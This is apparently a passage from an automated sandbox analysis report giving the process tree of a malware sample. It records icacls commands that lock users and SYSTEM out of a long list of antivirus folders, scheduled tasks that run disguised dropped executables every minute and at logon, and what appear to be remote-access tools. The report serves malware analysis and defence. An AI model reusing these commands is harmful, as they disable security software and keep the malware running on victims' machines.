                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                      PID:1220
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                    PID:4952
                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:1416
                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                        icacls "C:\ProgramData\360safe" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                        3⤵
                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                        PID:4208
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:3796
                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                          icacls "C:\Program Files (x86)\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                          PID:380
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:4400
                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                          icacls "C:\Program Files\Malwarebytes" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:3360
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:3052
                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                            icacls "C:\Program Files\COMODO" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                            PID:4844
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:2676
                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                              icacls "C:\Program Files\Enigma Software Group" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                              PID:2648
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:2876
                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                icacls "C:\Program Files\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                PID:1844
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:324
                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                  icacls "C:\Program Files\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                  PID:3880
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                PID:3156
                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                  icacls "C:\Program Files (x86)\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                  PID:2244
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:2068
                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                    icacls "C:\Programdata\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                    PID:2228
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:4144
                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                      icacls "C:\Program Files\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                      PID:3696
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                    PID:4416
                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                      icacls "C:\Program Files (x86)\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                      PID:1992
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                    PID:2720
                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                      icacls "C:\ProgramData\Norton" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                      PID:3780
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:4780
                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                        icacls "C:\Programdata\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                        PID:4252
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:1392
                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                          icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                          PID:680
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:1516
                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                            icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                            PID:1416
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:388
                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                              icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                              PID:528
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:1372
                                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                icacls "C:\Program Files\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                PID:2140
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:3916
                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                  icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                  PID:2976
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                PID:1668
                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                  icacls "C:\Program Files (x86)\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                  PID:4584
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:2916
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                    icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                    PID:4392
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:1444
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                      icacls "C:\ProgramData\Doctor Web" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                      PID:1992
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:3404
                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:2720
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                          icacls "C:\ProgramData\grizzly" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                          PID:2872
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                        PID:680
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                          icacls "C:\Program Files (x86)\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                          PID:4772
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:2800
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                            icacls "C:\Program Files\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                            PID:776
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:964
                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:1516
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                icacls "C:\ProgramData\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                PID:3408
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:3664
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                  icacls "C:\Program Files\Common Files\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                  PID:4740
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:4436
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                    icacls "C:\ProgramData\Avira" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                    PID:3220
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                  PID:1212
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                    icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                    PID:2648
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:2804
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                      icacls "C:\Program Files\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                      PID:4548
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:4316
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                        icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                        PID:832
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:4408
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                          icacls "C:\ProgramData\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                          PID:1712
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                        PID:2068
                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:2216
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                            icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                            PID:1232
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Panda Security" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:4712
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                              icacls "C:\Program Files (x86)\Panda Security" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                              PID:2720
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 1
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                            PID:2164
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                            PID:2260
                                                                                                                                                                                                                                        • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                                                                                          C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                          PID:1876
                                                                                                                                                                                                                                          • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                            C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            PID:4720
                                                                                                                                                                                                                                            • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                              C:\ProgramData\Windows\rfusclient.exe /tray
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                              • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                                              PID:964
                                                                                                                                                                                                                                          • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                            C:\ProgramData\Windows\rfusclient.exe /tray
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            PID:3020
                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:1768
                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                                                            PID:4508
                                                                                                                                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                            C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                            PID:2476
                                                                                                                                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                            C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                            PID:3456
                                                                                                                                                                                                                                          • C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                            "C:\Programdata\RealtekHD\taskhostw.exe"
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            PID:4476
                                                                                                                                                                                                                                          • C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                            "C:\Programdata\RealtekHD\taskhostw.exe"
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            PID:1516
                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                            PID:3604
                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffd07bbcc40,0x7ffd07bbcc4c,0x7ffd07bbcc58
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:2876
                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1980,i,7749912464886149881,11101973599947221149,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=1976 /prefetch:2
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:5068
                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1716,i,7749912464886149881,11101973599947221149,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=2076 /prefetch:3
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:1712
                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2268,i,7749912464886149881,11101973599947221149,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=2472 /prefetch:8
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:3216
                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3156,i,7749912464886149881,11101973599947221149,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=3164 /prefetch:1
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:4524
                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
